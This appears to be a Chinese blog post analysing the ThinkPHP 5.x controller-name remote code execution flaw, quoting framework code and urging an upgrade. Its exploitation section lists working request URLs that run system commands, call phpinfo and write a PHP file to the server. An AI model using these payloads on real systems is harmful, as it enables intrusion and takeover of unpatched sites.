本文由 發(fā)布,轉(zhuǎn)載請注明出處,如有問題請聯(lián)系我們! 發(fā)布時(shí)間: 2021-03-24ThinkPHP 遠(yuǎn)程命令執(zhí)行漏洞利用(GetShell)
加載中漏洞分析:
由于框架對控制器名沒有進(jìn)行足夠的檢測會(huì)導(dǎo)致在沒有開啟強(qiáng)制路由的情況下可能的getshell 漏洞,受影響的版本(v5.0.23 及 v5.1.31 以下版本),推薦盡快更新到最新版本。
文件:thinkphp/library/think/App.php
// 獲取控制器名 $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
在修復(fù)之前程序未對控制器進(jìn)行過濾,導(dǎo)致攻擊者可以通過引入“\”符號來調(diào)用任意類方法。
漏洞原理:
先來講下,5.0 跟 5.1 的區(qū)別吧,tp5.1 中引入了容器(Container)和門面(Facade)這兩個(gè)新的類 tp5.0 是沒有這兩個(gè)新的類的。
我們先來看看 App 類里的 exec 函數(shù)里的執(zhí)行分層控制器的操作:
case 'controller': // 執(zhí)行控制器操作 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] ); break;
我們這里是把 controller 的調(diào)用信息跟配置信息全部傳到了 invokeFunction 這個(gè) 執(zhí)行函數(shù)里面去了
public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 記錄執(zhí)行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
因?yàn)?think\App 是第二個(gè)入口,在 tp 運(yùn)行的時(shí)候就會(huì)被加載 所以用 think\App 里面的分層控制器的執(zhí)行操作的時(shí)候,需要去調(diào)用 invokeFunction 這個(gè)函數(shù)。
這個(gè)函數(shù)有兩個(gè)參數(shù),如上圖所示,第一個(gè)是函數(shù)的名字,第二個(gè)參數(shù)數(shù)組,比如$function 傳入 baidu 然后$vars 傳入[111,222]就相當(dāng)于調(diào)用 baidu(111,222)
漏洞利用:
1.執(zhí)行系統(tǒng)命令顯示目錄下文件:
Linux: http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l WIN: http://www.mysite.com/index.php?s=/index/\think\request/cache&key=ls%20-l|system
2.執(zhí)行 phpinfo
Linux: http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();' WIN: http://www.mysite.com/index.php?s=/index/\think\request/cache&key=1|phpinfo
3.寫入 info.php 文件
方法 1: http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php 方法 2: http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E
訪問 info.php